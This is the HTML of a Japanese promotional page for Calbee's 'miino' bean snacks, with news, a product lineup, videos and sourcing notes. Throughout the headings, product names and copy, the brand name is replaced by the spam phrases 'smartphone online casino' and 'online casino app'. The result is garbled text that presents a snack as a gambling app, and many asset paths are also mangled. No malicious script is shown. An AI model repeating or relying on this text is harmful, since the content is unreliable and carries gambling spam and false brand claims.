<!DOCTYPE html>
<html lang="ja">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no">
  <meta name="format-detection" content="telephone=no">
  <title>miino（ミーノ）｜カルビー</title>
  <meta name="description" content="豆まるごとのおいしさを、いつでもどこでもおいしく楽しめる私のおいしいお気に入り。カルビーの自信作です。">
  <meta name="keywords" content="カルビー株式会社,カルビー,Calbee,miino,みーの,ミーノ,そら豆,黒豆,しお味,スナック,ホクホク,間食,おやつ,おつまみ">

  <meta property="og:type" content="website">
  <meta property="og:url" content="/miino/">
  <meta property="og:image" content="/miino/assets/img/ogp.png">
  <meta property="og:title" content="miino（ミーノ）｜カルビー">
  <meta property="og:description" content="豆まるごとのおいしさを、いつでもどこでもおいしく楽しめる私のおいしいお気に入り。カルビーの自信作です。">
  <link rel="shortcut icon" href="/favicon.ico">
  <meta name="apple-mobile-web-app-title" content="カルビー">
  <meta name="twitter:card" content="summary_large_image">
  <meta name="twitter:title" content="miino（ミーノ）｜カルビー">
  <meta name="twitter:description" content="豆まるごとのおいしさを、いつでもどこでもおいしく楽しめる私のおいしいお気に入り。カルビーの自信作です。">
  <meta name="twitter:image:src" content="/miino/assets/img/ogp.png">
  <meta name="twitter:domain" content="/miino/">

  <link rel="shortcut icon" href="/favicon.ico">
  <link rel="apple-touch-icon" href="/apple-touch-icon.png">

  <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/modal-video@2.4.6/css/modal-video.min.css" />

  <link rel="stylesheet" href="/miino/index.php/story/assets/css/common.min.css/assets/css/common.min.css">
  <link rel="stylesheet" href="/miino/index.php/story/assets/css/common.min.css/assets/css/layout.min.css">
  <link href="/common/css/import.css" rel="stylesheet" type="text/css" media="all">

  <script src="https://cdnjs.cloudflare.com/ajax/libs/object-fit-images/3.2.4/ofi.min.js"></script>

  <script src="https://cdnjs.cloudflare.com/ajax/libs/Swiper/4.5.1/js/swiper.min.js" integrity="sha512-ZHauUc/vByS6JUz/Hl1o8s2kd4QJVLAbkz8clgjtbKUJT+AG1c735aMtVLJftKQYo+LD62QryvoNa+uqy+rCHQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/Swiper/4.5.1/css/swiper.min.css" integrity="sha512-nSomje7hTV0g6A5X/lEZq8koYb5XZtrWD7GU2+aIJD35CePx89oxSM+S7k3hqNSpHajFbtmrjavZFxSEfl6pQA==" crossorigin="anonymous" referrerpolicy="no-referrer" />

  <script>
    (function(d) {
      var config = {
          kitId: 'qxo7phm',
          scriptTimeout: 3000,
          async: true
        },
        h = d.documentElement,
        t = setTimeout(function() {
          h.className = h.className.replace(/\bwf-loading\b/g, "") + " wf-inactive";
        }, config.scriptTimeout),
        tk = d.createElement("script"),
        f = false,
        s = d.getElementsByTagName("script")[0],
        a;
      h.className += " wf-loading";
      tk.src = 'https://use.typekit.net/' + config.kitId + '.js';
      tk.async = true;
      tk.onload = tk.onreadystatechange = function() {
        a = this.readyState;
        if (f || a && a != "complete" && a != "loaded") return;
        f = true;
        clearTimeout(t);
        try {
          Typekit.load(config)
        } catch (e) {}
      };
      s.parentNode.insertBefore(tk, s)
    })(document);
  </script>
</head>

<body class="is-toppage">

<header id="header_calbeeroot">
	<a href="/" class="logo"><img src="/common/img/logo.svg" alt="掘りだそう、自然の力。Calbee"/></a>
</header>    <main id="miino" role="main">

    <div id="op-cm" class="op-cm">
      <div id="op-inner">
        <div id="cm-player" class="cm-player">

          <iframe
            id="yt-video"
            src="https://www.youtube-nocookie.com/embed/7M2u9cPPR1Q?enablejsapi=1&modestbranding=1&mute=1&rel=0&playsinline=1&cc_load_policy=0&hl=ja"
            allow="autoplay; encrypted-media"
            allowfullscreen
            frameborder="0"></iframe>

        </div>
        <div class="cm-close">
          <button id="cm-close" onclick="videoClose()">SKIP→</button>
        </div>
      </div>
    </div>

    <header class="l-header js-header">
  <div class="l-header__inner">
    <a href="/" class="l-header__logo">
      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/calbee-logo.svg" alt="Calbee">
    </a>
    <a href="/miino/index.php/story/assets/css/common.min.css/index.php" class="l-header__miino">
      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/common__logo.png" alt="miino">
    </a>
    <button class="l-header__button js-header-button">
      <span></span>
      <span></span>
      <span></span>
    </button>
  </div>

  <nav class="l-menu">
    <button class="l-menu__close js-menu-close">
      <span></span>
      <span></span>
    </button>
    <ul class="l-menu__list">
      <li class="l-menu__item">
        <a data-anchor="news"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_news.png" alt="ニュース"></a>
      </li>
      <li class="l-menu__item">
        <a data-anchor="lineup"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_lineup.png" alt="ラインナップ"></a>
      </li>
      <li class="l-menu__item">
        <a data-anchor="movie"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_movie.png" alt="ムービー"></a>
      </li>
      <li class="l-menu__item">
        <a data-anchor="special"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_special.png" alt="スペシャル"></a>
      </li>
      <li class="l-menu__item">
        <a data-anchor="about"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_about.png" alt="アバウト"></a>
      </li>
      <li class="l-menu__item">
        <a data-anchor="story"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_character.png" alt="キャラクター"></a>
      </li>
      <li class="l-menu__item">
        <a data-anchor="tips"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_trivia.png" alt="豆知識"></a>
      </li>
    </ul>
  </nav>
</header>

<a class="l-header-announce" href="/attention/" target="_blank" rel="noopener">
  <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/header-announce.png" alt="">
</a>

<div class="l-wrapper">
  <div class="l-container">
    <div class="l-left">
      <img class="top" src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/ivy_top-left.png" alt="">
      <img class="grass left" src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/ivy_left.png" alt="">
      <img class="side-logo" src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/side-logo.png" alt="豆そのまんま、どこでもたんぱく質 miino">
    </div>

    <div class="l-right">
      <img class="top" src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/ivy_top-right.png" alt="">
      <img class="grass right" src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/ivy_right.png" alt="">
      <div class="l-right__board">
        <nav class="l-right__nav">
          <h2 class="l-right__nav-heading"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu.png" alt="menu"></h2>
          <ul class="l-right__nav-list">
            <li class="l-right__nav-item">
              <a data-anchor="news"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_news.png" alt="ニュース"></a>
            </li>
            <li class="l-right__nav-item">
              <a data-anchor="lineup"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_lineup.png" alt="ラインナップ"></a>
            </li>
            <li class="l-right__nav-item">
              <a data-anchor="movie"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_movie.png" alt="ムービー"></a>
            </li>
            <li class="l-right__nav-item">
              <a data-anchor="special"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_special.png" alt="スペシャル"></a>
            </li>
            <li class="l-right__nav-item">
              <a data-anchor="about"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_about.png" alt="アバウト"></a>
            </li>
            <li class="l-right__nav-item">
              <a data-anchor="story"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_character.png" alt="キャラクター"></a>
            </li>
            <li class="l-right__nav-item">
              <a data-anchor="tips"><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/menu_trivia.png" alt="豆知識"></a>
            </li>
          </ul>
        </nav>
        <img class="board" src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/board.png" alt="">
      </div>
      <div class="l-right__announce">
        <a href="/attention/" target="_blank" rel="noopener">
          <img class="announce" src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/announce.png" alt="">
        </a>
      </div>
      <img class="float-miino" src="/miino/index.php/story/assets/css/common.min.css/assets/img/layout/float-miino.png" alt="">
    </div>
    <div class="l-scroll">
      <div class="l-content">
    <section class="kv">
      <figure>
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/kv.png" alt="">
      </figure>
      <div class="kv__button">
        <a href="/miino/index.php/story/assets/css/common.min.css/#movie">
          <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/movie-button.png" alt="movie公開中">
        </a>
      </div>
    </section>

    <section id="top" class="firstview">
      <div class="firstview__inner">
        <div class="firstview__ttl">
          <h1 class="firstview__copy">スマホ オンラインカジノ 
            豆まるごとのおいしさを、</br>
            いつでもどこでも<br class="spOnly">おいしく楽しめる</br>
            私のおいしいお気に入り。</br>
            オンラインカジノアプリの自信作です。
          </h1>
          <div class="firstview__back--1">
            <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/firstview__back-1.svg" alt="">
          </div>
          <div class="firstview__back--2">
            <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/common__miino.svg" alt="">
          </div>
        </div>
      </div>
      <div class="firstview__been--1">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/firstview__been-1.svg" alt="">
      </div>
      <div class="firstview__been--2">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/firstview__been-2.svg" alt="">
      </div>
      <div class="firstview__been--3">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/firstview__been-3.svg" alt="">
      </div>
    </section>

    <section id="news" class="news">
      <h2 class="c-heading">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/heading_news.png" alt="ニュース">
      </h2>
      <div class="news__inner">
        <div class="swiper-container news__slider">
          <ul class="news__list swiper-wrapper">

           <li class="news__item swiper-slide">
             <img class="news__tag" src="/miino/index.php/story/assets/css/common.min.css/assets/img/news__tag.png" alt="">
              <img class="news__thumb" src="/miino/index.php/story/assets/css/common.min.css/assets/img/news-16.jpg" alt="">
              <time datetime="2025-09-16">2026.02.27</time>
              <p><b>3月2日〜 食べてスマホ オンラインカジノキャンペーン実施！</b>
              スマホ オンラインカジノ×Snow Man スノーマメシールが当たる！</br>
                <a href="/miinocp/" target="_blank">詳しくはこちら</a>
              </p>
            </li>

            <li class="news__item swiper-slide">
              <img class="news__thumb" src="/miino/index.php/story/assets/css/common.min.css/assets/img/news-15.jpg" alt="">
              <time datetime="2026-01-05">2026.01.05</time>
              <p><b>「スマホ オンラインカジノ（ミーノ）だいずに味わうミックス</br>黄大豆黒大豆しお味」新発売！</b>
                オンラインカジノアプリ独自製法でまるごと素揚げした黄大豆と黒大豆をミックス。黄大豆は北海道で大切に育てられた”ゆきほまれ”使用。黄大豆の濃い甘み・黒大豆の香ばしさ。大豆それぞれの味わい・食感を楽しんで、どうぞおだいずにお過ごしください。</br>
                <a href="/products/detail/?p=20251023111338" target="_blank">詳しくはこちら</a>
              </p>
            </li>

            <li class="news__item swiper-slide">
              <img class="news__thumb" src="/miino/index.php/story/assets/css/common.min.css/assets/img/news-14.jpg" alt="">
              <time datetime="2025-09-16">2025.09.19</time>
              <p><b>「スマホ オンラインカジノ（ミーノ）風味豊かな豆ミックス</br>そら豆えだ豆黒豆しお味」新発売！</b>
                丸ごと素揚げしたスマホ オンラインカジノの豆ミックスは手軽に豆の食べ合わせを楽しめます。素材そのままだから一口ほおばると、サクッカリッとした食感と一緒にそら豆の風味、えだ豆の甘み、黒豆の香ばしさが味わえます。噛むほどにクセになり、次々と口に運びたくなるおいしさです。</br>
                <a href="/products/detail/?p=20250730111627" target="_blank">詳しくはこちら</a>
              </p>
            </li>
          </ul>
          <div class="swiper-pagination"></div>
        </div>
      </div>
      <a class="news__archive-btn" href="/miino/index.php/story/assets/css/common.min.css/news.php">一覧はこちら</a>
    </section>

    <section id="lineup" class="lineup">
      <div class="lineup__inner">
        <h2 class="c-heading">
          <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/heading_lineup.png" alt="ラインナップ">
        </h2>
        <div class="swiper-container lineup__slider1">
          <div class="swiper-wrapper">
            <div class="swiper-slide">
              <div class="lineup__product">
                <div class="lineup__item">
                  <div class="lineup__item__img">
                    <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__miino.png" alt="miino そら豆 しお味">
                    <h3 class="lineup__item__name spOnly">
                      <ruby>スマホ オンラインカジノ<rt>スマホ オンラインカジノ</rt></ruby><span class="lineup__item__taste">そら豆 しお味</span>
                    </h3>
                    <div class="lineup__item__hukidashi spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__hukidashi-l.svg" alt="">
                    </div>
                    <div class="lineup__item__illust--1 spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__illust-1-sp.svg" alt="">
                    </div>
                  </div>
                  <div class="lineup__item__info">
                    <a class="lineup__item__btn" href="/products/detail/?p=20230420131757" target="_blank">詳しくはこちら</a>
                  </div>
                </div>
              </div>
            </div>

            <div class="swiper-slide">
              <div class="lineup__product">
                <div class="lineup__item">
                  <div class="lineup__item__img">
                    <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__miino-tappuri.png" alt="miino W そら豆 しお味">
                    <h3 class="lineup__item__name lineup__item__name--lg spOnly">
                      <ruby>スマホ オンラインカジノ<rt>スマホ オンラインカジノ</rt></ruby><span class="lineup__item__taste">そら豆 しお味</span><span class="lineup__item__subname">たっぷりパック</span>
                    </h3>
                    <div class="lineup__item__hukidashi spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__hukidashi-l.svg" alt="">
                    </div>
                    <div class="lineup__item__illust--1 spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__illust-2-sp.svg" alt="">
                    </div>
                  </div>
                  <div class="lineup__item__info">
                    <a class="lineup__item__btn" href="/products/detail/?p=20230420131757" target="_blank">詳しくはこちら</a>
                  </div>
                </div>
              </div>
            </div>

            <div class="swiper-slide">
              <div class="lineup__product">
                <div class="lineup__item">
                  <div class="lineup__item__img">
                    <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__miino-s.png" alt="miino そら豆 しお味">

                    <h3 class="lineup__item__name lineup__item__name--lg spOnly">
                      <ruby>スマホ オンラインカジノ<rt>スマホ オンラインカジノ</rt></ruby><span class="lineup__item__taste">そら豆 しお味</span><span class="lineup__item__subname">三角パック</span>
                    </h3>
                    <div class="lineup__item__hukidashi spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__hukidashi-l.svg" alt="">
                    </div>
                    <div class="lineup__item__illust--1 spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__illust-5-sp.svg" alt="">
                    </div>
                  </div>
                  <div class="lineup__item__info">
                    <a class="lineup__item__btn" href="/products/detail/?p=20230420131757" target="_blank">詳しくはこちら</a>
                  </div>
                </div>
              </div>
            </div>

            <div class="swiper-slide">
              <div class="lineup__product">
                <div class="lineup__item">
                  <div class="lineup__item__img">
                    <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__miino-slim.webp" alt="miino そら豆 しお味 スリムサイズ">

                    <h3 class="lineup__item__name lineup__item__name--lg spOnly">
                      <ruby>スマホ オンラインカジノ<rt>スマホ オンラインカジノ</rt></ruby><span class="lineup__item__taste">そら豆 しお味</span><span class="lineup__item__subname">スリムサイズ</span>
                    </h3>
                    <div class="lineup__item__hukidashi spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__hukidashi-l.svg" alt="">
                    </div>
                    <div class="lineup__item__illust--1 spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__illust-15.png" alt="">
                    </div>
                  </div>
                  <div class="lineup__item__info">
                    <a class="lineup__item__btn" href="/products/detail/?p=20230420131757" target="_blank">詳しくはこちら</a>
                  </div>
                </div>
              </div>
            </div>

          </div>
          <div class="swiper-pagination"></div>
          <div class="swiper-button-prev"></div>
          <div class="swiper-button-next"></div>
        </div>

        <div class="swiper-container lineup__slider2">
          <div class="swiper-wrapper">

            <div class="swiper-slide">
              <div class="lineup__product">
                <div class="lineup__item lineup__item--reverse">
                  <div class="lineup__item__img">
                    <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__daizumix.webp" alt="miino だいずに味わうミックス 黄大豆 黒大豆 しお味">
                    <h3 class="lineup__item__name lineup__item__name--lg spOnly">
                      <ruby>スマホ オンラインカジノ<rt>スマホ オンラインカジノ</rt></ruby><span class="lineup__item__subname">だいずに味わうミックス</span><span class="lineup__item__taste">黄大豆 黒大豆 しお味</span>
                    </h3>
                    <div class="lineup__item__hukidashi spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__hukidashi-r.svg" alt="">
                    </div>
                    <div class="lineup__item__illust--2 spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__illust-14.png" alt="">
                    </div>
                  </div>
                  <div class="lineup__item__info">
                    <a class="lineup__item__btn" href="/products/detail/?p=20251023111338" target="_blank">詳しくはこちら</a>
                  </div>
                </div>
              </div>
            </div>

            <div class="swiper-slide">
              <div class="lineup__product">
                <div class="lineup__item lineup__item--reverse">
                  <div class="lineup__item__img">
                    <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__miinomix-08.png" alt="miino 風味豊かな豆ミックス そら豆えだ豆黒豆 しお味">
                    <h3 class="lineup__item__name lineup__item__name--lg spOnly">
                      <ruby>スマホ オンラインカジノ<rt>スマホ オンラインカジノ</rt></ruby><span class="lineup__item__subname">風味豊かな豆ミックス</span><span class="lineup__item__taste">そら豆えだ豆黒豆 しお味</span>
                    </h3>
                    <div class="lineup__item__hukidashi spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__hukidashi-r.svg" alt="">
                    </div>
                    <div class="lineup__item__illust--2 spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__illust-13-sp.png" alt="">
                    </div>
                  </div>
                  <div class="lineup__item__info">
                    <a class="lineup__item__btn" href="/products/detail/?p=20250730111627" target="_blank">詳しくはこちら</a>
                  </div>
                </div>
              </div>
            </div>

            <div class="swiper-slide">
              <div class="lineup__product">
                <div class="lineup__item lineup__item--reverse">
                  <div class="lineup__item__img">
                    <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__daizu-slim.webp" alt="miino 大豆 しお味">
                    <h3 class="lineup__item__name lineup__item__name--lg spOnly">
                      <ruby>スマホ オンラインカジノ<rt>スマホ オンラインカジノ</rt></ruby><span class="lineup__item__taste">大豆 しお味</span><span class="lineup__item__subname">スリムサイズ</span>
                    </h3>
                    <div class="lineup__item__hukidashi spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__hukidashi-r.svg" alt="">
                    </div>
                    <div class="lineup__item__illust--2 spOnly">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__illust-16.png" alt="">
                    </div>
                  </div>
                  <div class="lineup__item__info">
                    <a class="lineup__item__btn" href="/products/detail/?p=20250627113348" target="_blank">詳しくはこちら</a>
                  </div>
                </div>
              </div>
            </div>

          </div>
          <div class="swiper-pagination"></div>
          <div class="swiper-button-prev"></div>
          <div class="swiper-button-next"></div>
        </div>

        <div class="lineup__banner">
          <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/lineup__banner.png" alt="">
          <div class="lineup__banner-buttons">
            <a href="https://shop.calbee.jp/marche/shop/a/amiinos/?utm_source=calbee&utm_medium=referral&utm_campaign=cmmiinobox" target="_blank">そら豆販売ページはこちら</a>
            <a href="https://shop.calbee.jp/marche/shop/g/gMT28900/" target="_blank">黒豆販売ページはこちら</a>
          </div>
        </div>
      </div>
    </section>

    <section id="movie" class="movie">
      <div class="movie__top">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/itinerary__top.png" alt="">
      </div>
      <h2 class="c-heading">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/heading_movie.png" alt="ムービー">
      </h2>
      <h3 class="movie__category"><span>”スノーマメ”Web動画</span></h3>
      <ul class="movie__list">
        <li class="movie__item">
          <div class="movie__wrap js-modal-video" data-video-id="L-4e4Wu3IuY" data-video-url="https://www.youtube-nocookie.com/embed/1mLRA5hC-fQ?loop=1&mute=1&playlist=1mLRA5hC-fQ&rel=0&cc_load_policy=0">
            <figure><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/movie_thumb-01.jpg" loading="lazy" alt=""></figure>
            <p>【一気に観れちゃう】</br>スマホ オンラインカジノ＆クリスプTVCM</p>
          </div>
        </li>
        <li class="movie__item">
          <div class="movie__wrap js-modal-video" data-video-id="3taSkPyvglQ" data-video-url="https://www.youtube-nocookie.com/embed/3taSkPyvglQ?loop=1&mute=1&playlist=3taSkPyvglQ&rel=0&cc_load_policy=0">
            <figure><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/movie_thumb-05.jpg" loading="lazy" alt=""></figure>
            <p>【一気に観れちゃう】</br>”スノーマメ”Web動画3本まとめ</p>
          </div>
        </li>
        <li class="movie__item">
          <div class="movie__wrap js-modal-video" data-video-id="L-4e4Wu3IuY" data-video-url="https://www.youtube-nocookie.com/embed/L-4e4Wu3IuY?loop=1&mute=1&playlist=L-4e4Wu3IuY&rel=0&cc_load_policy=0">
            <figure><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/movie_thumb-04.jpg" loading="lazy" alt=""></figure>
            <p>「はみ出しちゃうのでちょいしゃがスマホ オンラインカジノ！」篇</p>
          </div>
        </li>
        <li class="movie__item">
          <div class="movie__wrap js-modal-video" data-video-id="DSxKudMtckw" data-video-url="https://www.youtube-nocookie.com/embed/DSxKudMtckw?loop=1&mute=1&playlist=DSxKudMtckw&rel=0&cc_load_policy=0">
            <figure><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/movie_thumb-03.jpg" loading="lazy" alt=""></figure>
            <p>「お魚つれるかな？たのしスマホ オンラインカジノ！」篇</p>
          </div>
        </li>
        <li class="movie__item">
          <div class="movie__wrap js-modal-video" data-video-id="mNxEZuGs_9k" data-video-url="https://www.youtube-nocookie.com/embed/mNxEZuGs_9k?loop=1&mute=1&playlist=mNxEZuGs_9k&rel=0&cc_load_policy=0">
            <figure><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/movie_thumb-02.jpg" loading="lazy" alt=""></figure>
            <p>「ふたりにおねだり胸はずスマホ オンラインカジノ！」篇</p>
          </div>
        </li>
      </ul>

      <h3 class="movie__category margin"><span>TV CM</span></h3>
      <ul class="movie__list">
        <li class="movie__item">
          <div class="movie__wrap js-modal-video" data-video-id="7M2u9cPPR1Q" data-video-url="https://www.youtube-nocookie.com/embed/7M2u9cPPR1Q?loop=1&mute=1&playlist=7M2u9cPPR1Q&rel=0&cc_load_policy=0">
            <figure><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/movie_thumb-01.jpg" loading="lazy" alt=""></figure>
            <p>「そら豆そのままオンラインカジノアプリミーノ！」篇</p>
          </div>
        </li>
      </ul>

      <h3 class="movie__category margin"><span>メイキング映像</span></h3>
      <ul class="movie__list">
        <li class="movie__item">
          <div class="movie__wrap js-modal-video" data-video-id="drzvXUubEbw" data-video-url="https://www.youtube-nocookie.com/embed/drzvXUubEbw?loop=1&mute=1&playlist=drzvXUubEbw&rel=0&cc_load_policy=0">
            <figure><img src="/miino/index.php/story/assets/css/common.min.css/assets/img/movie_making-thumb-01.jpg" loading="lazy" alt=""></figure>
            <p>「そら豆そのままオンラインカジノアプリミーノ！」</br>メイキング映像</p>
          </div>
        </li>
      </ul>
      <div style="height: 18px;"></div>
    </section>

    <section id="special" class="special">
      <div class="special__top">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/itinerary__top.png" alt="">
      </div>
      <h2 class="c-heading">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/heading_special.png" alt="スペシャル">
      </h2>
      <ul class="special__list">
        <li class="special__item">
          <a href="/hitorimusume/index.php" target="_blank" rel="noopener">
            <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/special_01.png" alt="">
          </a>
        </li>
      </ul>
    </section>

    <section id="about" class="about">
      <div class="itinerary__top">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/itinerary__top.png" alt="">
      </div>
      <h2 class="c-heading">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/heading_about.png" alt="アバウト">
      </h2>

      <div class="about__inner">
        <div class="about__inner__copy">
          <p class="about__headCopy">素材そのものが</br>
            もって生まれた</br>
            おいしさを。</p>
          <p class="about__bodyCopy">素揚げしただけで、</br>
            とっても、おいしい。</br>
            豆由来のたんぱく質もうれしい。</br>
            サクッと、カリッと。</br>
            色もカタチもそのまんま。</br>
            素材の魅力を引き出す</br>
            オンラインカジノアプリらしいお菓子。</br>
            豆そのまんま、miino（ミーノ）です。
            <span>※しお味が付いている商品です。</span>
          </p>
        </div>
      </div>
      <div class="about__point">
        <figure class="about__point-item">
          <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/point-1.png" alt="">
        </figure>
        <figure class="about__point-item">
          <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/point-2.png" alt="">
        </figure>
        <figure class="about__point-item">
          <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/point-3.png" alt="">
        </figure>
      </div>
    </section>

    <section id="itinerary" class="itinerary">
      <div class="itinerary__top">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/itinerary__top.png" alt="">
      </div>

      <div id="commitment" class="commitment">
        <h3 class="commitment__title">「スマホ オンラインカジノ」そら豆のおいしさを守る、</br>3つのこだわり</h3>
        <div class="swiper-container commitment__slider">
          <div class="swiper-wrapper">
            <div class="swiper-slide commitment__slide">
              <div class="commitment__inner">
                <h4>こだわり1</h4>
                <h3>おいしい「スマホ オンラインカジノ」そら豆に</br>最適な産地</h3>
                <div class="swiper-container commitment__in-slider">
                  <div class="swiper-wrapper">
                    <div class="swiper-slide">
                      <figure class="commitment__figure">
                        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/commitment__img-01-01.jpg" alt="生産地の様子（中国）">
                        <figcaption>産地の様子（中国）</figcaption>
                      </figure>
                    </div>
                    <div class="swiper-slide">
                      <figure class="commitment__figure">
                        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/commitment__img-01-02.jpg" alt="生産地の様子（エジプト）">
                        <figcaption>産地の様子（エジプト）</figcaption>
                      </figure>
                    </div>
                  </div>
                  <div class="swiper-pagination commitment__in-pagination"></div>
                </div>
                <p class="commitment__text">おいしい「スマホ オンラインカジノ」そら豆をお届けするため、「スマホ オンラインカジノ」に適した産地を探し求めました。</p>
              </div>
            </div>
            <div class="swiper-slide commitment__slide">
              <div class="commitment__inner">
                <h4>こだわり2</h4>
                <h3>安全安心な栽培</h3>
                <figure class="commitment__figure">
                  <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/commitment__img-02-01.png">
                </figure>
                <p class="commitment__text">産地に開発者が訪問し、その目で生育状況を確かめています。土づくりを大切にしながら、おいしいそら豆づくりを行っています。現地では丁寧な栽培で良いものをお届けしたい、その想いで日々栽培しています。また、収穫時の農薬検査に加え、CIQで輸出用の農薬検査も実施しています。</p>
                <span class="commitment__text--caution">＊CIQとは、税関（Customs）、出入国管理（Immigration）、検疫（Quarantine）の略</span>
              </div>
            </div>
            <div class="swiper-slide commitment__slide">
              <div class="commitment__inner">
                <h4>こだわり3</h4>
                <h3>素材の鮮度</h3>
                <figure class="commitment__figure">
                  <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/commitment__img-03-01.png">
                </figure>
                <p class="commitment__text">おいしい「スマホ オンラインカジノ」になるには、収穫時期と鮮度が大切。最適な収穫時期は1年の中でも限られています。それを過ぎると黄色くなったり、大きくなったりと、おいしさが損なわれます。また、収穫後は鞘（さや）つきの状態で２～３日しか保管ができません。すぐ加工する必要があるので、鞘（さや）から取り出し、薄皮を剥く作業も丁寧かつスピーディーに進めています。</p>
              </div>
            </div>
          </div>
          <div class="swiper-button-prev"></div>
          <div class="swiper-button-next"></div>
        </div>
      </div>
    </section>

    <section id="comment" class="comment">
      <div class="comment__top">
        <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/itinerary__top.png" alt="">
      </div>

      <div class="comment__body">
        <div class="comment__miino">
          <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/comment_miino.png" alt="">
        </div>
        <div class="swiper-container comment__slider">
          <div class="swiper-wrapper">
            <div class="swiper-slide comment__slide">
              <div class="comment__slide-inner slide1">
                <h3 class="comment__heading">そら豆を大事に</h3>
                <div class="swiper-container comment__in-slider">
                  <div class="swiper-wrapper">
                    <div class="swiper-slide">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/itinerary__img-01-01.jpg">
                    </div>
                    <div class="swiper-slide">
                      <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/itinerary__img-01-02.jpg">
                    </div>
                  </div>
                  <div class="swiper-pagination"></div>
                </div>
                <p>収穫後はまず鞘（さや）から取り出し、薄皮を剥きます。そら豆を傷つけないよう、やさしく扱います。その後、異物混入がないかのチェックや、鮮度・大きさの選別作業をクリアした豆は日本に出荷されます。</p>
                <img src="/miino/index.php/story/assets/css/common.min.css/assets/img/comment_bottom-01.png">
              </div>
            </div>
            <div class="swiper-slide comment__slide">
